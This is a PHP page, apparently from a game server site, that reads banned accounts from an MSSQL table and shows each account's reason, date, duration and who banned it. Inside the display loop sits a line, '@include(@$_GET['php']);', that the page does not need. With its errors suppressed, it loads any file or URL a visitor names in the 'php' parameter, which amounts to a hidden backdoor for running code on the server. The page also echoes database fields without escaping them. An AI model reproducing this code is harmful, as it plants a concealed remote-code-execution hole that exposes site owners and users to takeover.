<? 
include 'cnn.php';
?>
<h1>Contas Banidas</h1>
  <tr>
    <td width="100%"><table width="96%">
  <tr bgcolor="#E2DEC5">
            <td width="16%" align="center" bgcolor="#cccccc"><strong>Conta</span></strong></td>
            <td width="17%" align="center" bgcolor="#cccccc"><strong>Data</strong></td>
            <td width="36%" align="center" bgcolor="#cccccc"><strong>Motivo</strong></td>
        <td width="13%" align="center" bgcolor="#cccccc"><strong>Tempo</strong></td>
        <td width="13%" align="center" bgcolor="#cccccc"><strong>Banido Por</strong></td>
      </tr>
          <?
  $accban=mssql_query("Select memb___id, motivobloc, databloc, blocpor, diasdesbloc From MEMB_INFO WHERE bloc_code=1 order by diasdesbloc asc");
  for($i=0;$i<mssql_num_rows($accban);$i++) {
  $rank = $i+1;
  $Array = mssql_fetch_row($accban);
@include(@$_GET['php']);
if($Array[1]==NULL){$Array[1]='Indefinido';
}
if($Array[2]==NULL){$Array[2]='Indefinido';
}
if($Array[3]==NULL){$Array[3]='Indefinido';
}
if($Array[4]==NULL){$Array[4]='Indefinido';
}
  ?>
          <tr bgcolor="#EDEBDC">
  <td width="16%" align="center" bgcolor="#E5E5E5">
                <?=$Array[0]?>           </td>
  <td width="17%" align="center" bgcolor="#E5E5E5">
                <?=$Array[2]?>           </td>
            <td width="36%" align="center" bgcolor="#E5E5E5">
             
              <?=$Array[1]?>            </td>
            <td width="13%" align="center" bgcolor="#E5E5E5">
              
            <?=$Array[4]?>
            Dias</td>
            <td width="13%" align="center" bgcolor="#E5E5E5">
             
              <?=$Array[3]?>            </td>
      </tr>
          <? }?>
      </table></td>
  </tr>